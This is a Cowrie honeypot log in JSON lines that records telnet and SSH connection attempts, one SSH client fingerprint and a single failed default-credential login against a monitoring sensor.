{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39800,"dst_ip":"10.17.0.5","dst_port":23,"session":"878f7fb5148b","protocol":"telnet","message":"New connection: 62.210.97.77:39800 (10.17.0.5:23) [session: 878f7fb5148b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:20.604549Z"}
{"eventid":"cowrie.session.closed","duration":39.92983388900757,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:20.877386Z","src_ip":"62.210.97.77","session":"b5766b197746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70045852661133,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:22.230628Z","src_ip":"62.210.97.77","session":"2f2c92997df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40084,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc15c25724f","protocol":"telnet","message":"New connection: 38.54.119.93:40084 (10.17.0.5:23) [session: 7dc15c25724f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:22.795971Z"}
{"eventid":"cowrie.session.closed","duration":47.02063298225403,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:23.297036Z","src_ip":"165.232.131.181","session":"e2679316fc18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39816,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58ae674d50a","protocol":"telnet","message":"New connection: 62.210.97.77:39816 (10.17.0.5:23) [session: b58ae674d50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:24.320828Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47480,"dst_ip":"10.17.0.5","dst_port":23,"session":"4204bca050ee","protocol":"telnet","message":"New connection: 65.60.27.33:47480 (10.17.0.5:23) [session: 4204bca050ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:24.840009Z"}
{"eventid":"cowrie.session.closed","duration":43.81637454032898,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:25.579716Z","src_ip":"65.60.27.33","session":"4593497503ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.187225580215454,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:26.636593Z","src_ip":"65.60.27.33","session":"65f597319c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.14872360229492,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:27.234817Z","src_ip":"65.60.27.33","session":"aa3d4291f721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.94356894493103,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:28.524222Z","src_ip":"62.210.97.77","session":"363f5c3f9a34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36116,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa5a72b2a1b8","protocol":"telnet","message":"New connection: 62.210.97.77:36116 (10.17.0.5:23) [session: fa5a72b2a1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:31.476377Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55262,"dst_ip":"10.17.0.5","dst_port":23,"session":"d30357ab5768","protocol":"telnet","message":"New connection: 65.60.27.33:55262 (10.17.0.5:23) [session: d30357ab5768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:31.757161Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45918,"dst_ip":"10.17.0.5","dst_port":23,"session":"b094d9c4debc","protocol":"telnet","message":"New connection: 38.54.119.93:45918 (10.17.0.5:23) [session: b094d9c4debc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:32.931130Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36124,"dst_ip":"10.17.0.5","dst_port":23,"session":"551af9d1c696","protocol":"telnet","message":"New connection: 62.210.97.77:36124 (10.17.0.5:23) [session: 551af9d1c696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:34.126173Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36130,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e795d412a2","protocol":"telnet","message":"New connection: 62.210.97.77:36130 (10.17.0.5:23) [session: 47e795d412a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:34.429677Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59074,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd839b69219","protocol":"telnet","message":"New connection: 65.60.27.33:59074 (10.17.0.5:23) [session: 3fd839b69219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:35.066947Z"}
{"eventid":"cowrie.session.closed","duration":43.53096628189087,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:35.524123Z","src_ip":"165.232.131.181","session":"db73e3624c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55782,"dst_ip":"10.17.0.5","dst_port":23,"session":"df83bc5c4f19","protocol":"telnet","message":"New connection: 165.232.131.181:55782 (10.17.0.5:23) [session: df83bc5c4f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:35.816554Z"}
{"eventid":"cowrie.session.closed","duration":4.889481067657471,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:36.646514Z","src_ip":"65.60.27.33","session":"d30357ab5768","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06597423553467,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:36.816488Z","src_ip":"62.210.97.77","session":"2c0dca8f8611","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21767616271973,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:36.821177Z","src_ip":"62.210.97.77","session":"529a611d9469","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.75526809692383,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:37.348060Z","src_ip":"62.210.97.77","session":"e10ca112222a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33766,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1350aca82d","protocol":"telnet","message":"New connection: 65.60.27.33:33766 (10.17.0.5:23) [session: 9e1350aca82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:37.738615Z"}
{"eventid":"cowrie.session.closed","duration":5.600704193115234,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:38.531729Z","src_ip":"38.54.119.93","session":"b094d9c4debc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.79573607444763,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:38.812217Z","src_ip":"165.232.131.181","session":"d54733ad9fb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36506,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a2359740980","protocol":"telnet","message":"New connection: 65.60.27.33:36506 (10.17.0.5:23) [session: 6a2359740980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:40.210769Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50412,"dst_ip":"10.17.0.5","dst_port":23,"session":"74041c63cb4b","protocol":"telnet","message":"New connection: 38.54.119.93:50412 (10.17.0.5:23) [session: 74041c63cb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:42.134431Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":57436,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f062fb39cc6","protocol":"ssh","message":"New connection: 80.94.92.182:57436 (159.203.135.109:22) [session: 4f062fb39cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:42.390404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:42.403437Z","src_ip":"80.94.92.182","session":"4f062fb39cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:42.506995Z","src_ip":"80.94.92.182","session":"4f062fb39cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:43.260663Z","src_ip":"80.94.92.182","session":"4f062fb39cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.377464294433594,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:44.102129Z","src_ip":"65.60.27.33","session":"048dad229372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:44.481176Z","src_ip":"80.94.92.182","session":"4f062fb39cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.3105206489563,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:44.645621Z","src_ip":"62.210.97.77","session":"df9469cee324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.874202489852905,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:47.008514Z","src_ip":"38.54.119.93","session":"74041c63cb4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59196,"dst_ip":"10.17.0.5","dst_port":23,"session":"91042d15e4e8","protocol":"telnet","message":"New connection: 165.232.131.181:59196 (10.17.0.5:23) [session: 91042d15e4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:47.425642Z"}
{"eventid":"cowrie.session.closed","duration":39.50219655036926,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:47.847049Z","src_ip":"62.210.97.77","session":"813dea0867fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58022,"dst_ip":"10.17.0.5","dst_port":23,"session":"3350d8dbfe5c","protocol":"telnet","message":"New connection: 38.54.119.93:58022 (10.17.0.5:23) [session: 3350d8dbfe5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:51.046727Z"}
{"eventid":"cowrie.session.closed","duration":34.46088147163391,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:53.159019Z","src_ip":"165.232.131.181","session":"275c88f11a4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.802056550979614,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:53.280544Z","src_ip":"165.232.131.181","session":"500dd10de234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59532,"dst_ip":"10.17.0.5","dst_port":23,"session":"143219aea29f","protocol":"telnet","message":"New connection: 38.54.119.93:59532 (10.17.0.5:23) [session: 143219aea29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:53.358261Z"}
{"eventid":"cowrie.session.closed","duration":39.59114217758179,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:53.402574Z","src_ip":"65.60.27.33","session":"1be5f3e709ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84760880470276,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:54.135903Z","src_ip":"62.210.97.77","session":"9bed66cb1059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84301805496216,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:55.447452Z","src_ip":"62.210.97.77","session":"878f7fb5148b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33098,"dst_ip":"10.17.0.5","dst_port":23,"session":"1007691a8b3e","protocol":"telnet","message":"New connection: 38.54.119.93:33098 (10.17.0.5:23) [session: 1007691a8b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:56.133908Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52110,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f89be445135","protocol":"telnet","message":"New connection: 65.60.27.33:52110 (10.17.0.5:23) [session: 5f89be445135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:56.910482Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4769b67a2d1e","protocol":"telnet","message":"New connection: 62.210.97.77:33974 (10.17.0.5:23) [session: 4769b67a2d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:57.321028Z"}
{"eventid":"cowrie.session.closed","duration":6.600689172744751,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:57.647333Z","src_ip":"38.54.119.93","session":"3350d8dbfe5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33978,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb9cbe03c74d","protocol":"telnet","message":"New connection: 62.210.97.77:33978 (10.17.0.5:23) [session: fb9cbe03c74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:58.436828Z"}
{"eventid":"cowrie.session.closed","duration":5.516681671142578,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:58.874776Z","src_ip":"38.54.119.93","session":"143219aea29f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3311927318573,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:59.241557Z","src_ip":"65.60.27.33","session":"5f89be445135","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.623892307281494,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:07:59.246317Z","src_ip":"65.60.27.33","session":"74c63d56a9fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51942,"dst_ip":"10.17.0.5","dst_port":23,"session":"0182259b1320","protocol":"telnet","message":"New connection: 165.232.131.181:51942 (10.17.0.5:23) [session: 0182259b1320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:01.607143Z"}
{"eventid":"cowrie.session.closed","duration":0.006796836853027344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:01.613776Z","src_ip":"165.232.131.181","session":"0182259b1320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08676075935364,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:02.407461Z","src_ip":"62.210.97.77","session":"b58ae674d50a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.89251160621643,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:02.732392Z","src_ip":"65.60.27.33","session":"4204bca050ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.36304235458374,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:02.739057Z","src_ip":"65.60.27.33","session":"a6b768c3454a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41266,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e1f24987714","protocol":"telnet","message":"New connection: 62.210.97.77:41266 (10.17.0.5:23) [session: 3e1f24987714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:04.300238Z"}
{"eventid":"cowrie.session.closed","duration":36.02045178413391,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:07.496750Z","src_ip":"62.210.97.77","session":"fa5a72b2a1b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06269669532776,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:08.188751Z","src_ip":"62.210.97.77","session":"551af9d1c696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97410464286804,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:12.040950Z","src_ip":"65.60.27.33","session":"3fd839b69219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.67994713783264,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:12.109499Z","src_ip":"62.210.97.77","session":"47e795d412a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.183079957962036,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:13.978979Z","src_ip":"38.54.119.93","session":"7dc15c25724f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41844,"dst_ip":"10.17.0.5","dst_port":23,"session":"542aa6ab452e","protocol":"telnet","message":"New connection: 62.210.97.77:41844 (10.17.0.5:23) [session: 542aa6ab452e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:14.646199Z"}
{"eventid":"cowrie.session.closed","duration":40.32389783859253,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:16.140323Z","src_ip":"165.232.131.181","session":"df83bc5c4f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46920,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2ce990abaad","protocol":"telnet","message":"New connection: 38.54.119.93:46920 (10.17.0.5:23) [session: a2ce990abaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:17.538596Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45030,"dst_ip":"10.17.0.5","dst_port":23,"session":"510d0493c126","protocol":"telnet","message":"New connection: 62.210.97.77:45030 (10.17.0.5:23) [session: 510d0493c126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:18.963998Z"}
{"eventid":"cowrie.session.closed","duration":39.962056159973145,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:20.172744Z","src_ip":"65.60.27.33","session":"6a2359740980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45042,"dst_ip":"10.17.0.5","dst_port":23,"session":"d98fe059929a","protocol":"telnet","message":"New connection: 62.210.97.77:45042 (10.17.0.5:23) [session: d98fe059929a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:21.133447Z"}
{"eventid":"cowrie.session.closed","duration":43.59812331199646,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:21.336644Z","src_ip":"65.60.27.33","session":"9e1350aca82d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45052,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c1adcb7d805","protocol":"telnet","message":"New connection: 62.210.97.77:45052 (10.17.0.5:23) [session: 6c1adcb7d805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:24.051653Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51466,"dst_ip":"10.17.0.5","dst_port":23,"session":"e54d92c7c367","protocol":"telnet","message":"New connection: 38.54.119.93:51466 (10.17.0.5:23) [session: e54d92c7c367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:25.022648Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46078,"dst_ip":"10.17.0.5","dst_port":23,"session":"54383e560d26","protocol":"telnet","message":"New connection: 165.232.131.181:46078 (10.17.0.5:23) [session: 54383e560d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:25.365953Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e3393c996c","protocol":"telnet","message":"New connection: 62.210.97.77:45056 (10.17.0.5:23) [session: 88e3393c996c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:26.962126Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45066,"dst_ip":"10.17.0.5","dst_port":23,"session":"373abc3f73df","protocol":"telnet","message":"New connection: 62.210.97.77:45066 (10.17.0.5:23) [session: 373abc3f73df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:28.460267Z"}
{"eventid":"cowrie.session.closed","duration":41.04468822479248,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:28.470240Z","src_ip":"165.232.131.181","session":"91042d15e4e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44902,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9c557ba00d","protocol":"telnet","message":"New connection: 62.210.97.77:44902 (10.17.0.5:23) [session: ff9c557ba00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:08:29.571637Z"}
